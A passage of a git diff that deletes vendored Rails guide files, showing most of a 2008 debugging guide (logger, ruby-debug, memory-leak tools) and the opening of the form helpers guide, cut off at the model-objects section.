-[1, 2, 3, 4, 5]
-
-Title: Rails debugging guide
-</pre>
-
-h4. Debugging JavaScript
-
-Rails has built-in support to debug RJS, to active it, set +ActionView::Base.debug_rjs+ to _true_, this will specify whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it).
-
-To enable it, add the following in the +Rails::Initializer do |config|+ block inside +environment.rb+:
-
-<ruby>
-config.action_view[:debug_rjs] = true
-</ruby>
-
-Or, at any time, setting +ActionView::Base.debug_rjs+ to _true_:
-
-<ruby>
-ActionView::Base.debug_rjs = true
-</ruby>
-
-TIP: For more information on debugging javascript refer to "Firebug":http://getfirebug.com/, the popular debugger for Firefox.
-
-h3. The Logger
-
-It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.
-
-h4. What is the Logger?
-
-Rails makes use of Ruby's standard +logger+ to write log information. You can also substitute another logger such as +Log4R+ if you wish.
-
-You can specify an alternative logger in your +environment.rb+ or any environment file:
-
-<ruby>
-ActiveRecord::Base.logger = Logger.new(STDOUT)
-ActiveRecord::Base.logger = Log4r::Logger.new("Application Log")
-</ruby>
-
-Or in the +Initializer+ section, add _any_ of the following
-
-<ruby>
-config.logger = Logger.new(STDOUT)
-config.logger = Log4r::Logger.new("Application Log")
-</ruby>
-
-TIP: By default, each log is created under +RAILS_ROOT/log/+ and the log file name is +environment_name.log+.
-
-h4. Log Levels
-
-When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the +ActiveRecord::Base.logger.level+ method.
-
-The available log levels are: +:debug+, +:info+, +:warn+, +:error+, and +:fatal+, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use
-
-<ruby>
-config.log_level = Logger::WARN # In any environment initializer, or
-ActiveRecord::Base.logger.level = 0 # at any time
-</ruby>
-
-This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.
-
-TIP: The default Rails log level is +info+ in production mode and +debug+ in development and test mode.
-
-h4. Sending Messages
-
-To write in the current log use the +logger.(debug|info|warn|error|fatal)+ method from within a controller, model or mailer:
-
-<ruby>
-logger.debug "Person attributes hash: #{@person.attributes.inspect}"
-logger.info "Processing the request..."
-logger.fatal "Terminating application, raised unrecoverable error!!!"
-</ruby>
-
-Here's an example of a method instrumented with extra logging:
-
-<ruby>
-class PostsController < ApplicationController
-  # ...
-
-  def create
-    @post = Post.new(params[:post])
-    logger.debug "New post: #{@post.attributes.inspect}"
-    logger.debug "Post should be valid: #{@post.valid?}"
-
-    if @post.save
-      flash[:notice] = 'Post was successfully created.'
-      logger.debug "The post was saved and now is the user is going to be redirected..."
-      redirect_to(@post)
-    else
-      render :action => "new"
-    end
-  end
-
-  # ...
-end
-</ruby>
-
-Here's an example of the log generated by this method:
-
-<shell>
-Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
-  Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
-vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
-  Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails",
- "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
- "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"}
-New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
- "published"=>false, "created_at"=>nil}
-Post should be valid: true
-  Post Create (0.000443)   INSERT INTO "posts" ("updated_at", "title", "body", "published",
- "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
- 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
-The post was saved and now is the user is going to be redirected...
-Redirected to #<Post:0x20af760>
-Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
-</shell>
-
-Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.
-
-h3. Debugging with +ruby-debug+
-
-When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.
-
-The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.
-
-h4. Setup
-
-The debugger used by Rails, +ruby-debug+, comes as a gem. To install it, just run:
-
-<shell>
-$ sudo gem install ruby-debug
-</shell>
-
-In case you want to download a particular version or get the source code, refer to the "project's page on rubyforge":http://rubyforge.org/projects/ruby-debug/.
-
-Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the +debugger+ method.
-
-Here's an example:
-
-<ruby>
-class PeopleController < ApplicationController
-  def new
-    debugger
-    @person = Person.new
-  end
-end
-</ruby>
-
-If you see the message in the console or logs:
-
-<shell>
-***** Debugger requested, but was not available: Start server with --debugger to enable *****
-</shell>
-
-Make sure you have started your web server with the option +--debugger+:
-
-<shell>
-~/PathTo/rails_project$ script/server --debugger
-=> Booting Mongrel (use 'script/server webrick' to force WEBrick)
-=> Rails 2.2.0 application starting on http://0.0.0.0:3000
-=> Debugger enabled
-...
-</shell>
-
-TIP: In development mode, you can dynamically +require \'ruby-debug\'+ instead of restarting the server, if it was started without +--debugger+.
-
-In order to use Rails debugging you'll need to be running either *WEBrick* or *Mongrel*. For the moment, no alternative servers are supported.
-
-h4. The Shell
-
-As soon as your application calls the +debugger+ method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug's prompt +(rdb:n)+. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run.
-
-If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.
-
-For example:
-
-<shell>
-@posts = Post.find(:all)
-(rdb:7)
-</shell>
-
-Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: +help+ (You didn't see that coming, right?)
-
-<shell>
-(rdb:7) help
-ruby-debug help v0.10.2
-Type 'help <command-name>' for help on a specific command
-
-Available commands:
-backtrace  delete   enable  help    next  quit     show    trace
-break      disable  eval    info    p     reload   source  undisplay
-catch      display  exit    irb     pp    restart  step    up
-condition  down     finish  list    ps    save     thread  var
-continue   edit     frame   method  putl  set      tmate   where
-</shell>
-
-TIP: To view the help menu for any command use +help <command-name>+ in active debug mode. For example: _+help var+_
-
-The next command to learn is one of the most useful: +list+. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use +l+ for the +list+ command.
-
-This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by +=>+.
-
-<shell>
-(rdb:7) list
-[1, 10] in /PathToProject/posts_controller.rb
-   1  class PostsController < ApplicationController
-   2    # GET /posts
-   3    # GET /posts.xml
-   4    def index
-   5      debugger
-=> 6      @posts = Post.find(:all)
-   7
-   8      respond_to do |format|
-   9        format.html # index.html.erb
-   10        format.xml  { render :xml => @posts }
-</shell>
-
-If you repeat the +list+ command, this time using just +l+, the next ten lines of the file will be printed out.
-
-<shell>
-(rdb:7) l
-[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
-   11      end
-   12    end
-   13
-   14    # GET /posts/1
-   15    # GET /posts/1.xml
-   16    def show
-   17      @post = Post.find(params[:id])
-   18
-   19      respond_to do |format|
-   20        format.html # show.html.erb
-</shell>
-
-And so on until the end of the current file. When the end of file is reached, the +list+ command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.
-
-h4. The Context
-
-When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.
-
-ruby-debug creates a content when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.
-
-At any time you can call the +backtrace+ command (or its alias +where+) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then +backtrace+ will supply the answer.
-
-<shell>
-(rdb:5) where
-    #0 PostsController.index
-       at line /PathTo/project/app/controllers/posts_controller.rb:6
-    #1 Kernel.send
-       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
-    #2 ActionController::Base.perform_action_without_filters
-       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
-    #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
-       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
-...
-</shell>
-
-You move anywhere you want in this trace (thus changing the context) by using the +frame _n_+ command, where _n_ is the specified frame number.
-
-<shell>
-(rdb:5) frame 2
-#2 ActionController::Base.perform_action_without_filters
-       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
-</shell>
-
-The available variables are the same as if you were running the code line by line. After all, that's what debugging is.
-
-Moving up and down the stack frame: You can use +up [n]+ (+u+ for abbreviated) and +down [n]+ commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.
-
-h4. Threads
-
-The debugger can list, stop, resume and switch between running threads by using the command +thread+ (or the abbreviated +th+). This command has a handful of options:
-
-* +thread+ shows the current thread.
-* +thread list+ is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
-* +thread stop _n_+ stop thread _n_.
-* +thread resume _n_+ resumes thread _n_.
-* +thread switch _n_+ switches the current thread context to _n_.
-
-This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.
-
-h4. Inspecting Variables
-
-Any expression can be evaluated in the current context. To evaluate an expression, just type it!
-
-This example shows how you can print the instance_variables defined within the current context:
-
-<shell>
-@posts = Post.find(:all)
-(rdb:11) instance_variables
-["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]
-</shell>
-
-As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using +next+ (you'll learn more about this command later in this guide).
-
-<shell>
-(rdb:11) next
-Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
-  Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
-  Parameters: {"action"=>"index", "controller"=>"posts"}
-/PathToProject/posts_controller.rb:8
-respond_to do |format|
-</shell>
-
-And then ask again for the instance_variables:
-
-<shell>
-(rdb:11) instance_variables.include? "@posts"
-true
-</shell>
-
-Now +@posts+ is a included in the instance variables, because the line defining it was executed.
-
-TIP: You can also step into *irb* mode with the command +irb+ (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
-
-The +var+ method is the most convenient way to show variables and their values:
-
-<shell>
-var
-(rdb:1) v[ar] const <object>            show constants of object
-(rdb:1) v[ar] g[lobal]                  show global variables
-(rdb:1) v[ar] i[nstance] <object>       show instance variables of object
-(rdb:1) v[ar] l[ocal]                   show local variables
-</shell>
-
-This is a great way to inspect the values of the current context variables. For example:
-
-<shell>
-(rdb:9) var local
-  __dbg_verbose_save => false
-</shell>
-
-You can also inspect for an object method this way:
-
-<shell>
-(rdb:9) var instance Post.new
-@attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"...
-@attributes_cache = {}
-@new_record = true
-</shell>
-
-TIP: The commands +p+ (print) and +pp+ (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.
-
-You can use also +display+ to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.
-
-<shell>
-(rdb:1) display @recent_comments
-1: @recent_comments =
-</shell>
-
-The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use +undisplay _n_+ where _n_ is the variable number (1 in the last example).
-
-h4. Step by Step
-
-Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.
-
-Use +step+ (abbreviated +s+) to continue running your program until the next logical stopping point and return control to ruby-debug.
-
-TIP: You can also use +step+ _n_+ and +step- _n_+ to move forward or backward _n_ steps respectively.
-
-You may also use +next+ which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps.
-
-The difference between +next+ and +step+ is that +step+ stops at the next line of code executed, doing just a single step, while +next+ moves to the next line without descending inside methods.
-
-For example, consider this block of code with an included +debugger+ statement:
-
-<ruby>
-class Author < ActiveRecord::Base
-  has_one :editorial
-  has_many :comments
-
-  def find_recent_comments(limit = 10)
-    debugger
-    @recent_comments ||= comments.find(
-      :all,
-      :conditions => ["created_at > ?", 1.week.ago],
-      :limit => limit
-    )
-  end
-end
-</ruby>
-
-TIP: You can use ruby-debug while using script/console. Just remember to +require "ruby-debug"+ before calling the +debugger+ method.
-
-<shell>
-/PathTo/project $ script/console
-Loading development environment (Rails 2.1.0)
->> require "ruby-debug"
-=> []
->> author = Author.first
-=> #<Author id: 1, first_name: "Bob", last_name: "Smith", created_at: "2008-07-31 12:46:10", updated_at: "2008-07-31 12:46:10">
->> author.find_recent_comments
-/PathTo/project/app/models/author.rb:11
-)
-</shell>
-
-With the code stopped, take a look around:
-
-<shell>
-(rdb:1) list
-[6, 15] in /PathTo/project/app/models/author.rb
-   6      debugger
-   7      @recent_comments ||= comments.find(
-   8        :all,
-   9        :conditions => ["created_at > ?", 1.week.ago],
-   10        :limit => limit
-=> 11      )
-   12    end
-   13  end
-</shell>
-
-You are at the end of the line, but... was this line executed? You can inspect the instance variables.
-
-<shell>
-(rdb:1) var instance
-@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
-@attributes_cache = {}
-</shell>
-
-+@recent_comments+ hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the +next+ command to move on in the code:
-
-<shell>
-(rdb:1) next
-/PathTo/project/app/models/author.rb:12
-@recent_comments
-(rdb:1) var instance
-@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
-@attributes_cache = {}
-@comments = []
-@recent_comments = []
-</shell>
-
-Now you can see that the +@comments+ relationship was loaded and @recent_comments defined because the line was executed.
-
-If you want to go deeper into the stack trace you can move single +steps+, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.
-
-h4. Breakpoints
-
-A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.
-
-You can add breakpoints dynamically with the command +break+ (or just +b+). There are 3 possible ways of adding breakpoints manually:
-
-* +break line+: set breakpoint in the _line_ in the current source file.
-* +break file:line [if expression]+: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger.
-* +break class(.|\#)method [if expression]+: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line.
-
-<shell>
-(rdb:5) break 10
-Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
-</shell>
-
-Use +info breakpoints _n_+ or +info break _n_+ to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
-
-<shell>
-(rdb:5) info breakpoints
-Num Enb What
-  1 y   at filters.rb:10
-</shell>
-
-To delete breakpoints: use the command +delete _n_+ to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active..
-
-<shell>
-(rdb:5) delete 1
-(rdb:5) info breakpoints
-No breakpoints.
-</shell>
-
-You can also enable or disable breakpoints:
-
-* +enable breakpoints+: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
-* +disable breakpoints+: the _breakpoints_ will have no effect on your program.
-
-h4. Catching Exceptions
-
-The command +catch exception-name+ (or just +cat exception-name+) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it.
-
-To list all active catchpoints use +catch+.
-
-h4. Resuming Execution
-
-There are two ways to resume execution of an application that is stopped in the debugger:
-
-* +continue+ [line-specification] (or +c+): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
-* +finish+ [frame-number] (or +fin+): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
-
-h4. Editing
-
-Two commands allow you to open code from the debugger into an editor:
-
-* +edit [file:line]+: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given.
-* +tmate _n_+ (abbreviated +tm+): open the current file in TextMate. It uses n-th frame if _n_ is specified.
-
-h4. Quitting
-
-To exit the debugger, use the +quit+ command (abbreviated +q+), or its alias +exit+.
-
-A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.
-
-h4. Settings
-
-There are some settings that can be configured in ruby-debug to make it easier to debug your code. Here are a few of the available options:
-
-* +set reload+: Reload source code when changed.
-* +set autolist+: Execute +list+ command on every breakpoint.
-* +set listsize _n_+: Set number of source lines to list by default to _n_.
-* +set forcestep+: Make sure the +next+ and +step+ commands always move to a new line
-
-You can see the full list by using +help set+. Use +help set _subcommand_+ to learn about a particular +set+ command.
-
-TIP: You can include any number of these configuration lines inside a +.rdebugrc+ file in your HOME directory. ruby-debug will read this file every time it is loaded. and configure itself accordingly.
-
-Here's a good start for an +.rdebugrc+:
-
-<shell>
-set autolist
-set forcestep
-set listsize 25
-</shell>
-
-h3. Debugging Memory Leaks
-
-A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.
-
-In this section, you will learn how to find and fix such leaks by using Bleak House and Valgrind debugging tools.
-
-h4. BleakHouse
-
-"BleakHouse":http://github.com/fauna/bleak_house/tree/master is a library for finding memory leaks.
-
-If a Ruby object does not go out of scope, the Ruby Garbage Collector won't sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap.
-
-To install it run:
-
-<shell>
-sudo gem install bleak_house
-</shell>
-
-Then setup your application for profiling. Then add the following at the bottom of config/environment.rb:
-
-<ruby>
-require 'bleak_house' if ENV['BLEAK_HOUSE']
-</ruby>
-
-Start a server instance with BleakHouse integration:
-
-<shell>
-RAILS_ENV=production BLEAK_HOUSE=1 ruby-bleak-house ./script/server
-</shell>
-
-Make sure to run a couple hundred requests to get better data samples, then press +CTRL-C+. The server will stop and Bleak House will produce a dumpfile in +/tmp+:
-
-<shell>
-** BleakHouse: working...
-** BleakHouse: complete
-** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze.
-</shell>
-
-To analyze it, just run the listed command. The top 20 leakiest lines will be listed:
-
-<shell>
-  191691 total objects
-  Final heap size 191691 filled, 220961 free
-  Displaying top 20 most common line/class pairs
-  89513 __null__:__null__:__node__
-  41438 __null__:__null__:String
-  2348 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:Array
-  1508 /opt/local//lib/ruby/gems/1.8/specifications/gettext-1.90.0.gemspec:14:String
-  1021 /opt/local//lib/ruby/gems/1.8/specifications/heel-0.2.0.gemspec:14:String
-   951 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:111:String
-   935 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:String
-   834 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:146:Array
-  ...
-</shell>
-
-This way you can find where your application is leaking memory and fix it.
-
-If "BleakHouse":http://github.com/fauna/bleak_house/tree/master doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.
-
-h4. Valgrind
-
-"Valgrind":http://valgrind.org/ is a Linux-only application for detecting C-based memory leaks and race conditions.
-
-There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls +malloc()+ but is doesn't properly call +free()+, this memory won't be available until the app terminates.
-
-For further information on how to install Valgrind and use with Ruby, refer to "Valgrind and Ruby":http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/ by Evan Weaver.
-
-h3. Plugins for Debugging
-
-There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:
-
-* "Footnotes":http://github.com/drnic/rails-footnotes/tree/master: Every Rails page has footnotes that give request information and link back to your source via TextMate.
-* "Query Trace":http://github.com/ntalbott/query_trace/tree/master: Adds query origin tracing to your logs.
-* "Query Stats":http://github.com/dan-manges/query_stats/tree/master: A Rails plugin to track database queries.
-* "Query Reviewer":http://code.google.com/p/query-reviewer/: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
-* "Exception Notifier":http://github.com/rails/exception_notification/tree/master: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
-* "Exception Logger":http://github.com/defunkt/exception_logger/tree/master: Logs your Rails exceptions in the database and provides a funky web interface to manage them.
-
-h3. References
-
-* "ruby-debug Homepage":http://www.datanoise.com/ruby-debug
-* "Article: Debugging a Rails application with ruby-debug":http://www.sitepoint.com/article/debug-rails-app-ruby-debug/
-* "ruby-debug Basics screencast":http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/
-* "Ryan Bate's ruby-debug screencast":http://railscasts.com/episodes/54-debugging-with-ruby-debug
-* "Ryan Bate's stack trace screencast":http://railscasts.com/episodes/24-the-stack-trace
-* "Ryan Bate's logger screencast":http://railscasts.com/episodes/56-the-logger
-* "Debugging with ruby-debug":http://bashdb.sourceforge.net/ruby-debug.html
-* "ruby-debug cheat sheet":http://cheat.errtheblog.com/s/rdebug/
-* "Ruby on Rails Wiki: How to Configure Logging":http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging
-* "Bleak House Documentation":http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html
-
-h3. Changelog
-
-"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/5
-
-* November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by "Emilio Tagua":credits.html#miloops
-* October 19, 2008: Copy editing pass by "Mike Gunderloy":credits.html#mgunderloy
-* September 16, 2008: initial version by "Emilio Tagua":credits.html#miloops
diff --git a/vendor/rails/railties/guides/source/form_helpers.textile b/vendor/rails/railties/guides/source/form_helpers.textile
deleted file mode 100644
index 9ab4deff..00000000
--- a/vendor/rails/railties/guides/source/form_helpers.textile
+++ /dev/null
@@ -1,766 +0,0 @@
-h2. Rails Form helpers
-
-Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.
-
-In this guide you will:
-
-* Create search forms and similar kind of generic forms not representing any specific model in your application
-* Make model-centric forms for creation and editing of specific database records
-* Generate select boxes from multiple types of data
-* Understand the date and time helpers Rails provides
-* Learn what makes a file upload form different
-* Find out where to look for complex forms
-
-endprologue.
-
-NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit "the Rails API documentation":http://api.rubyonrails.org/ for a complete reference.
-
-
-h3. Dealing with Basic Forms
-
-The most basic form helper is +form_tag+.
-
-<erb>
-<% form_tag do %>
-  Form contents
-<% end %>
-</erb>
-
-When called without arguments like this, it creates a form element that has the current page as its action and "post" as its method (some line breaks added for readability):
-
-Sample output from +form_tag+:
-
-<html>
-<form action="/home/index" method="post">
-  <div style="margin:0;padding:0">
-    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
-  </div>
-  Form contents
-</form>
-</html>
-
-If you carefully observe this output, you can see that the helper generated something you didn't specify: a +div+ element with a hidden input inside. This is a security feature of Rails called *cross-site request forgery protection* and form helpers generate it for every form whose action is not "get" (provided that this security feature is enabled). You can read more about this in the "Ruby On Rails Security Guide":./security.html#_cross_site_reference_forgery_csrf.
-
-NOTE: Throughout this guide, this +div+ with the hidden input will be stripped away to have clearer code samples.
-
-h4. A Generic Search Form
-
-Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of:
-
-# a form element with "GET" method,
-# a label for the input,
-# a text input element, and
-# a submit element.
-
-IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action.
-
-To create this form you will use +form_tag+, +label_tag+, +text_field_tag+, and +submit_tag+, respectively.
-
-A basic search form
-
-<html>
-<% form_tag(search_path, :method => "get") do %>
-  <%= label_tag(:q, "Search for:") %>
-  <%= text_field_tag(:q) %>
-  <%= submit_tag("Search") %>
-<% end %>
-</html>
-
-TIP: +search_path+ can be a named route specified in "routes.rb": <pre>map.search "search", :controller => "search"</pre>
-
-The above view code will result in the following markup:
-
-<html>
-<form action="/search" method="get">
-  <label for="q">Search for:</label>
-  <input id="q" name="q" type="text" />
-  <input name="commit" type="submit" value="Search" />
-</form>
-</html>
-
-Besides +text_field_tag+ and +submit_tag+, there is a similar helper for _every_ form control in HTML.
-
-TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
-
-h4. Multiple Hashes in Form Helper Calls
-
-By now you've seen that the +form_tag+ helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class.
-
-As with the +link_to+ helper, the path argument doesn't have to be given a string. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. However, this is a bad way to pass multiple hashes as method arguments:
-
-<ruby>
-form_tag(:controller => "people", :action => "search", :method => "get", :class => "nifty_form")
-# => <form action="/people/search?method=get&class=nifty_form" method="post">
-</ruby>
-
-Here you wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL with extraneous parameters. The correct way of passing multiple hashes as arguments is to delimit the first hash (or both hashes) with curly brackets:
-
-<ruby>
-form_tag({:controller => "people", :action => "search"}, :method => "get", :class => "nifty_form")
-# => <form action="/people/search" method="get" class="nifty_form">
-</ruby>
-
-This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly.
-
-WARNING: Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an +expecting tASSOC+ syntax error.
-
-h4. Helpers for Generating Form Elements
-
-Rails provides a series of helpers for generating form elements such as checkboxes, text fields, radio buttons, and so on. These basic helpers, with names ending in <notextile>_tag</notextile> such as +text_field_tag+, +check_box_tag+, etc., generate just a single +&lt;input&gt;+ element. The first parameter to these is always the name of the input. In the controller this name will be the key in the +params+ hash used to get the value entered by the user. For example, if the form contains
-
-<erb>
-<%= text_field_tag(:query) %>
-</erb>
-
-then the controller code should use
-
-<ruby>
-params[:query]
-</ruby>
-
-to retrieve the value entered by the user. When naming inputs, be aware that Rails uses certain conventions that control whether values are at the top level of the +params+ hash, inside an array or a nested hash and so on. You can read more about them in the parameter_names section. For details on the precise usage of these helpers, please refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html.
-
-h5. Checkboxes
-
-Checkboxes are form controls that give the user a set of options they can enable or disable:
-
-<erb>
-<%= check_box_tag(:pet_dog) %>
-  <%= label_tag(:pet_dog, "I own a dog") %>
-<%= check_box_tag(:pet_cat) %>
-  <%= label_tag(:pet_cat, "I own a cat") %>
-
-output:
-
-<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
-  <label for="pet_dog">I own a dog</label>
-<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
-  <label for="pet_cat">I own a cat</label>
-</erb>
-
-The second parameter to +check_box_tag+ is the value of the input. This is the value that will be submitted by the browser if the checkbox is ticked (i.e. the value that will be present in the +params+ hash). With the above form you would check the value of +params[:pet_dog]+ and +params[:pet_cat]+ to see which pets the user owns.
-
-h5. Radio Buttons
-
-Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e. the user can only pick one):
-
-<erb>
-<%= radio_button_tag(:age, "child") %>
-  <%= label_tag(:age_child, "I am younger than 21") %>
-<%= radio_button_tag(:age, "adult") %>
-  <%= label_tag(:age_adult, "I'm over 21") %>
-
-output:
-
-<input id="age_child" name="age" type="radio" value="child" />
-  <label for="age_child">I am younger than 21</label>
-<input id="age_adult" name="age" type="radio" value="adult" />
-  <label for="age_adult">I'm over 21</label>
-</erb>
-
-As with +check_box_tag+ the second parameter to +radio_button_tag+ is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one and +params[:age]+ will contain either "child" or "adult".
-
-IMPORTANT: Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region.
-
-h4. Other Helpers of Interest
-
-Other form controls worth mentioning are the text area, password input and hidden input:
-
-<erb>
-<%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %>
-<%= password_field_tag(:password) %>
-<%= hidden_field_tag(:parent_id, "5") %>
-
-output:
-
-<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
-<input id="password" name="password" type="password" />
-<input id="parent_id" name="parent_id" type="hidden" value="5" />
-</erb>
-
-Hidden inputs are not shown to the user, but they hold data like any textual input. Values inside them can be changed with JavaScript.
-
-TIP: If you're using password input fields (for any purpose), you might want to prevent their values showing up in application logs by activating +filter_parameter_logging(:password)+ in your ApplicationController.
-
-
-h3. Dealing with Model Objects
-
